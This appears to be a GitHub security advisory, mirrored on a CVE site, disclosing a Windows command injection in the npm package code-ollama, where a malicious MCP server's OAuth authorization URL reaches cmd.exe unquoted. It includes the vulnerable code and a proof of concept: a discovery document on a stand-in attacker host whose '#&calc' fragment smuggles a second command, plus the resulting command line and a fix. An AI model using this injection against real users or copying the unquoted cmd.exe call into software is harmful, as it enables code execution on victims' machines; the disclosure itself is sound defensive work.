# GHSA-X6WV-3HJM-9QP9: Windows OS command injection via MCP OAuth authorization URL in openUrl()

- Database: GitHub
- Severity: CVSS 8.8 (High)
- Published: 2026-10-03
- Modified: 2026-10-03

## Affected versions

- code-ollama (npm): from 0.42.0, through 0.53.8

## Description

## Summary

On Windows, code-ollama's MCP OAuth flow passes the remote server's `authorization_endpoint` URL to `cmd.exe` via `child_process.spawn('cmd', ['/c', 'start', '""', href])` in `openUrl()` (`src/utils/mcp/oauth.ts:359-379`). No validation, escaping, or scheme allowlist is applied to the URL, and libuv does not wrap it in additional quotes because a URL contains no space, tab, or double-quote characters. Any operator of a remote Streamable HTTP MCP server that a user configures with `oauth` can embed `cmd.exe` metacharacters such as `&` in the discovery document's `authorization_endpoint`, and `cmd.exe` interprets those metacharacters on the assembled command line before `start` runs, executing attacker-chosen OS commands as the local user.

## Root Cause

`McpOAuthClientProvider.redirectToAuthorization()` receives the authorization URL that the MCP SDK constructs from the remote server's OAuth discovery document (`/.well-known/oauth-authorization-server`, field `authorization_endpoint`) and hands it directly to `openUrl()`. On Windows, `openUrl()` invokes `cmd.exe /c start "" <href>`. Node.js's libuv quotes an argument only when it contains `0x20` (space), `0x09` (tab), or `0x22` (double quote); URLs contain none of these because spaces are percent-encoded as `%20` and `&` is a valid unreserved sub-delimiter per RFC 3986. The URL therefore appears verbatim on the command line that `cmd.exe` parses, and `cmd.exe` treats every unquoted `&` as a command separator regardless of the intent of the downstream `start` command. The `openUrl()` function is the ultimate sink, but the missing invariant is that any string reaching `cmd.exe /c ...` must have `cmd.exe` metacharacters (`&`, `|`, `>`, `<`, `^`, `(`, `)`, `%`, and end-of-line) neutralized or must not go through a command interpreter at all.

```typescript
// src/utils/mcp/oauth.ts:157-159 (McpOAuthClientProvider.redirectToAuthorization)
redirectToAuthorization(authorizationUrl: URL): void {
  this.authorizationUrl = authorizationUrl;
  openUrl(authorizationUrl);
}

// src/utils/mcp/oauth.ts:359-379 (openUrl, Windows branch)
function openUrl(url: URL): void {
  const href = url.toString();
  const command =
    process.platform === 'darwin' ? 'open'
    : process.platform === 'win32' ? 'cmd'
    : 'xdg-open';
  const args =
    process.platform === 'win32' ? ['/c', 'start', '""', href] : [href];
  // ...
  const child = spawn(command, args, { detached: true, stdio: 'ignore' });
  child.unref();
}
```

## Impact

An attacker who controls, compromises, or otherwise supplies the OAuth discovery document for a Streamable HTTP MCP server that a Windows user has configured with `oauth` (per code-ollama's documented `mcpServers.<name>.oauth` configuration) can execute arbitrary OS commands as the process user running code-ollama. The vulnerable path fires automatically the first time the client attempts authorization against the malicious server, so no interaction beyond the user's initial decision to add the server is required. The demonstrated primitive is arbitrary single-word program invocation (for example, `calc`, `powershell`, or `cmd /c <command>` from an attacker-hosted binary), yielding full read access, write access, and process control at the user's privilege level. Chained payloads through multiple `&` segments and Windows path or URL-encoded tokens materially extend the reachable command surface. macOS and Linux users are not affected because those code paths pass the URL as a direct process argument to `open(1)` or `xdg-open` without going through a command interpreter.

## Proof of Concept

The proof of concept uses a minimal HTTPS server that serves an OAuth discovery document whose `authorization_endpoint` embeds `cmd.exe` metacharacters. The MCP client automatically fetches this document during the OAuth flow, so no user interaction beyond configuring the server in `mcpServers` is required.

```text
Prerequisites
- Windows host with Node.js >= 24
- code-ollama installed at any version in the affected range (for example, 0.53.8)
- A Streamable HTTP MCP server entry in the code-ollama config with an oauth block, pointed at the attacker-controlled URL
```

Server-side discovery document served at `/.well-known/oauth-authorization-server`:

```json
{
  "issuer": "https://attacker.example.net",
  "authorization_endpoint": "https://attacker.example.net/authorize#&calc",
  "token_endpoint": "https://attacker.example.net/token",
  "response_types_supported": ["code"],
  "code_challenge_methods_supported": ["S256"]
}
```

Client-side MCP configuration (code-ollama's config, at `~/.code-ollama/config.json` on Windows: `%USERPROFILE%\.code-ollama\config.json`):

```json
{
  "mcpServers": {
    "attacker": {
      "url": "https://attacker.example.net/mcp",
      "oauth": {
        "scopes": "read"
      }
    }
  }
}
```

Reproduction steps:

1. Publish the discovery document above from an HTTPS server the victim can reach.
2. The victim adds the `attacker` server entry to code-ollama's MCP configuration and starts code-ollama.
3. On the first request that requires authentication, the MCP SDK calls `startAuthorization()`, which retrieves the discovery document, constructs the OAuth authorization URL by appending query parameters to the attacker-supplied `authorization_endpoint`, and invokes `McpOAuthClientProvider.redirectToAuthorization()`.
4. `redirectToAuthorization()` calls `openUrl()`. On Windows, `openUrl()` runs `spawn('cmd', ['/c', 'start', '""', href])` where `href` is the attacker's URL after the SDK's `searchParams.set()` calls preserve the fragment `#&calc`.
5. libuv assembles the CreateProcessW command line without adding quotes around `href` (URLs contain no space, tab, or double quote). `cmd.exe` receives the full unquoted URL, splits on `&`, and executes the trailing segment (`calc`) as an independent OS command.

Independent Node.js check confirming fragment preservation through the SDK's URL construction:

```text
$ node -e "const u = new URL('https://attacker.example.net/authorize#&calc'); \
u.searchParams.set('response_type','code'); \
u.searchParams.set('client_id','test-client'); \
u.searchParams.set('redirect_uri','http://127.0.0.1:9999/callback'); \
console.log(u.toString());"
https://attacker.example.net/authorize?response_type=code&client_id=test-client&redirect_uri=http%3A%2F%2F127.0.0.1%3A9999%2Fcallback#&calc
```

The resulting Windows command line is:

```text
cmd /c start "" https://attacker.example.net/authorize?response_type=code&client_id=test-client&redirect_uri=http%3A%2F%2F127.0.0.1%3A9999%2Fcallback#&calc
```

Live Windows execution against `cmd.exe` was not performed because no Windows runtime was available during review; the argument-quoting behavior of libuv (`quote_cmd_arg` in `src/win/process.c`) and `cmd.exe`'s command-separator handling are documented Windows behaviors and have been the root cause of prior CVEs against the ecosystem's `open` and `opn` packages using the identical `cmd /c start "" <href>` pattern.

## Attack Chain

1. **Exposure:** The victim adds a Streamable HTTP MCP server to their code-ollama configuration with an `oauth` block (a documented feature). code-ollama initiates a network request to the server's `/.well-known/oauth-authorization-server` discovery endpoint during the first authenticated request.
2. **Control:** The remote server returns a discovery document whose `authorization_endpoint` embeds `cmd.exe` metacharacters, for example `https://attacker.example.net/authorize#&calc`. The MCP SDK accepts any string that parses as a `URL`; no scheme allowlist, hostname check, or fragment stripping is applied.
3. **Path:** The MCP SDK's `startAuthorization()` builds the OAuth authorization URL by calling `new URL(metadata.authorization_endpoint)` and appending query parameters via `URL.searchParams.set()`. The fragment survives this construction (verified with a live `URL` round trip). The SDK then calls `provider.redirectToAuthorization(authorizationUrl)`, which is implemented by code-ollama's `McpOAuthClientProvider.redirectToAuthorization()` at `src/utils/mcp/oauth.ts:157-159`, which calls `openUrl(authorizationUrl)`.
4. **Guard:** No sanitization, validation, or scheme allowlist exists between the discovery document and `openUrl()`. The Windows branch of `openUrl()` (`src/utils/mcp/oauth.ts:359-379`) hands the URL to `spawn('cmd', ['/c', 'start', '""', href])`. Node.js libuv adds outer double quotes to an argument only when it contains `0x20`, `0x09`, or `0x22`; a URL contains none of these, so `href` reaches the assembled `CreateProcessW` command line unquoted. `cmd.exe` then interprets metacharacters (`&`, `|`, `>`, `<`, `^`, `(`, `)`) on that command line before dispatching the residual text to `start`, so the empty title argument `""` cannot protect trailing tokens.
5. **Primitive:** `cmd.exe` executes the token after the last unquoted `&` as an independent OS command. The demonstrated payload `#&calc` yields execution of `calc`; the same primitive extends to arbitrary attacker-chosen executables reachable via `PATH`, to `cmd /c` sub-invocations, and to chained payloads using multiple `&` segments.
6. **Result:** Arbitrary OS command execution as the local user running code-ollama on Windows. The primitive supports read, write, and process-control capability at the user's privilege level. macOS and Linux paths use `spawn('open', [href])` and `spawn('xdg-open', [href])` respectively, which pass the URL as a single process argument without command-interpreter parsing and are not affected.

## Bypass Evidence

No sanitization, scheme allowlist, hostname check, fragment strip, argument-escaping wrapper, prior fix, or defense-in-depth measure exists between the remote-controlled `authorization_endpoint` and the `spawn('cmd', ...)` invocation. `grep -rn 'sanitiz\|escap\|validat.*url\|allowlist\|whitelist' src/utils/mcp/oauth.ts` returns no results, and there is no other caller of `openUrl()` in the tree. The MCP SDK's `startAuthorization()` performs only a `new URL()` syntactic validation on `metadata.authorization_endpoint`; it does not restrict scheme, host, or fragment. The candidate refutations tested and disproved during review:

- **libuv might wrap the URL in additional quotes.** libuv's `quote_cmd_arg` in `src/win/process.c` wraps an argument only when it contains space (`0x20`), tab (`0x09`), or double quote (`0x22`). URLs contain none: spaces are percent-encoded (`%20`), and `&` is a valid RFC 3986 sub-delimiter with no encoding requirement in query or fragment positions.
- **URL.toString() might percent-encode `&` in the fragment.** A live Node.js check (`new URL('https://x/authorize#&calc'); ... u.toString()`) preserves `#&calc` unchanged after `searchParams.set()` calls append the OAuth query parameters.
- **The empty title argument `""` might quote subsequent tokens.** `""` only tells `start` what window title to use. `cmd.exe` performs metacharacter parsing on the entire post `/c` command line before dispatching to `start`, so an unquoted `&` in a later argument is a command separator regardless of how `start` would eventually interpret its arguments.
- **`start` might treat the URL as a single argument.** Even when `start`'s own argument parsing would keep the URL intact, `cmd.exe` has already split the command line on `&` before `start` runs.
- **macOS or Linux might be affected.** Both call `spawn(command, [href])` directly on `open` or `xdg-open` without a command interpreter; the URL is delivered as a single `argv` element.
- **The MCP SDK might strip fragments before calling `redirectToAuthorization`.** The SDK constructs the URL with `new URL(metadata.authorization_endpoint)` and only appends OAuth query parameters via `searchParams.set()`; the fragment is preserved through `toString()`.

## Affected Versions

- Ecosystem: npm
- Package: code-ollama
- Confirmed affected range: `>= 0.42.0, <= 0.53.8`
- Latest release checked: 0.53.8 on the npm registry
- Fix status: not fixed as of 0.53.8

The vulnerable `openUrl()` function and its OAuth trigger `McpOAuthClientProvider.redirectToAuthorization()` were introduced in commit `36e27f0b8f6b21d3840e48977821854bce245755` ("feat(mcp): add OAuth support with OS keyring", 2026-07-10), first released as v0.42.0. Independent verification with `npm pack code-ollama@<version>` and inspection of the bundled `dist/assets/utils-<hash>.js` output confirms the identical `openUrl` function body is present in v0.42.0, v0.45.0, v0.48.0, v0.53.4, and v0.53.8; the function is absent from v0.41.0 and earlier because the file did not exist. The `openUrl` body is byte-identical across v0.42.0 through v0.53.8; a keyring lazy-loading refactor in a later commit touched other parts of `oauth.ts` but did not modify `openUrl` or `redirectToAuthorization`.

## Suggested Fix

Do not send the authorization URL through a Windows command interpreter. Suitable replacements avoid `cmd.exe` altogether: for example, `spawn('rundll32', ['url.dll,FileProtocolHandler', href], { detached: true, stdio: 'ignore' })`, or a well-maintained library such as `open` that already handles per-platform quoting correctly. If a command interpreter cannot be avoided, the URL must be validated against a strict allowlist (scheme in `https:` or `http:` when required; host and path matching an expected pattern) before being placed on the command line, and `cmd.exe` metacharacters (`&`, `|`, `>`, `<`, `^`, `(`, `)`, `%`, and newline) must be escaped or rejected. An additional defense in depth is to reject fragments and non-`https` schemes in the discovery document at the MCP OAuth provider layer.

Alternate callers are limited: `openUrl` has one caller, `McpOAuthClientProvider.redirectToAuthorization()`, so the fix can be localized to `openUrl` without changing the caller. Interim mitigations that reduce exposure without a code change include configuring only trusted Streamable HTTP MCP servers with an `oauth` block, and running code-ollama on Windows in a low-privilege user context so that any executed payload inherits the same limited authority.

---

Reported by zx (GitHub: @manus-pi).

## References

- https://github.com/ai-action/code-ollama/security/advisories/GHSA-x6wv-3hjm-9qp9

Page: https://cve.now/GHSA-X6WV-3HJM-9QP9

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
